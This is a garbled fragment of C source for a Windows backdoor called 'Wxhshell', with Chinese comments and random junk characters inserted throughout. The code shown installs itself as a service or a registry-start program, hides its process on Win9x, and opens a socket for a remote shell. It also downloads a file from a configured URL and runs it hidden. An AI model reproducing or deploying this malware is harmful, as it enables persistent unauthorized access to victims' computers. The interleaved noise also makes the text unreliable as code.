HDBh aGK@)&h$ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \u M? S if(hProcess==NULL) return 0; '#D8*OP^ Svw<XJ HMODULE hMod; ((<`zx char procName[255]; ()\jCNLT unsigned long cbNeeded; 9I.^LZ" yMxTfR if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B!;+_%P76 -V5w]F' CloseHandle(hProcess); 68e[:wf [T^?Q%h if(strstr(procName,"services")) return 1; // 以服务启动 dJD(\a>r.u wL3,g2- L return 0; // 注册表启动 $a(`ve| } 1~\M!SQ) |m;L?)F< // 主模块 ER^QV(IvP8 int StartWxhshell(LPSTR lpCmdLine) >o/95xk2 { e |V] SOCKET wsl; %tm p BOOL val=TRUE; (3;@^S4&w int port=0; +,5-qm)Gh> struct sockaddr_in door; EzpFOqJG }x :f%Z5h if(wscfg.ws_autoins) Install(); gXy-Mpzp gU;&$ port=atoi(lpCmdLine); ss
iok LE V.=lGhi if(port<=0) port=wscfg.ws_port; b>11h fS=hpL6]@ WSADATA data; uMmXs%9T if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <f>akT,W M%`\P\A if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; dRaO Gm) setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 41Ve}% door.sin_family = AF_INET; =\3Tv door.sin_addr.s_addr = inet_addr("127.0.0.1"); mLyBm door.sin_port = htons(port); i9 A ~< [4Q"#[V&9 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :O-1rD closesocket(wsl); gl7|H&&xV return 1; Hd &{d+B } C6
" ,6,]#R
:J if(listen(wsl,2) == INVALID_SOCKET) { m3.sVI0I closesocket(wsl); Q(Gl{#b return 1; nwmW.(R4 } GF$`BGW Wxhshell(wsl); +TJEG?o WSACleanup(); ~*.- '@=PGpRF return 0; T!|=El> KbW9s,:p } ST dNM\+ ~Z)/RT/ // 以NT服务方式启动 GTl
xq%?b VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w$ fJ4+ { ae+*=, DWORD status = 0; {38bv.3' DWORD specificError = 0xfffffff; w_wslN,) iG<Som serviceStatus.dwServiceType = SERVICE_WIN32; l"+Jc1\ X serviceStatus.dwCurrentState = SERVICE_START_PENDING; SA"8!soY3 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /)L
0`:I# serviceStatus.dwWin32ExitCode = 0; rcN 9.1 serviceStatus.dwServiceSpecificExitCode = 0; (u1m]WYL serviceStatus.dwCheckPoint = 0; ~nY]o"8D serviceStatus.dwWaitHint = 0; }q[Bd >BVoHt~; hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e' 9r"<>i if (hServiceStatusHandle==0) return; }}
ZY rS8 w\`_ status = GetLastError(); ~O6\6$3b5E if (status!=NO_ERROR) nH-V{=** { $XnPwOj serviceStatus.dwCurrentState = SERVICE_STOPPED; >3.X? serviceStatus.dwCheckPoint = 0; tJ0NPI56yP serviceStatus.dwWaitHint = 0; r 2:2,5_ serviceStatus.dwWin32ExitCode = status; qxOi>v0\H serviceStatus.dwServiceSpecificExitCode = specificError; [1yq{n= SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0JjUAxNq return; &[[K"aM1 } N.do " j+IrqPKC^ serviceStatus.dwCurrentState = SERVICE_RUNNING; &qM[g9 serviceStatus.dwCheckPoint = 0; gABr@>Vv serviceStatus.dwWaitHint = 0; {y)s.b~JB if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EcL-V>U#M } ]d}0l6 9i q"" // 处理NT服务事件,比如:启动、停止 #]Y>KX2HG VOID WINAPI NTServiceHandler(DWORD fdwControl) mN_Z7n;^eh { c3TKl/ switch(fdwControl) /e@H^Cgo { 5@~|*g[ case SERVICE_CONTROL_STOP: u9qMqeF serviceStatus.dwWin32ExitCode = 0; w n|]{Ww35 serviceStatus.dwCurrentState = SERVICE_STOPPED; 1GCzyBSbb serviceStatus.dwCheckPoint = 0; 1fU,5+PH serviceStatus.dwWaitHint = 0; iEyeX0nm { Cfu=u *u SetServiceStatus(hServiceStatusHandle, &serviceStatus); qoMfSz"( } V@-)\RZm return; ;3eKqr0 case SERVICE_CONTROL_PAUSE: }f}}A= serviceStatus.dwCurrentState = SERVICE_PAUSED; %kshQ%P)? break; Q>< 0[EPj3 case SERVICE_CONTROL_CONTINUE: #'baPqdO serviceStatus.dwCurrentState = SERVICE_RUNNING; #KlCZ~s break; [^YA=Khu case SERVICE_CONTROL_INTERROGATE: Ol_q{^ break; #dxgB:l)%l }; J9~i%hzr SetServiceStatus(hServiceStatusHandle, &serviceStatus); O[@q%&_ } i]{1^pKq 3>M&D20Z // 标准应用程序主函数 !U%T&?E l int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >w6taX { >o,^b\ /# NYi,<{X // 获取操作系统版本 Q
n)d2-< OsIsNt=GetOsVer(); $tqJ/:I GetModuleFileName(NULL,ExeFile,MAX_PATH); T#@lDpO y[};J
vk // 从命令行安装 $g9**b@ if(strpbrk(lpCmdLine,"iI")) Install(); oPf)be| # KL,/2( // 下载执行文件 _*M42<wcO if(wscfg.ws_downexe) { g`^X#-!( if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bBcp9C)iY WinExec(wscfg.ws_filenam,SW_HIDE); &C<yfRDu } jhgX{xc *A 'FC|\ if(!OsIsNt) { DE$q+j0P // 如果时win9x,隐藏进程并且设置为注册表启动 ] ]U<UJ HideProc(); Z4K+ /<I StartWxhshell(lpCmdLine); CBYX] } PQmq5N6 else :(|'S4z if(StartFromService()) p/Sbt/R // 以服务方式启动 z+}QZ> StartServiceCtrlDispatcher(DispatchTable); ~+X9g else B<?[Mrdxw // 普通方式启动 DB526O*
[ StartWxhshell(lpCmdLine); 6Q&r0>^{ WS8+7O'1\ return 0; r;>+)**@vl }
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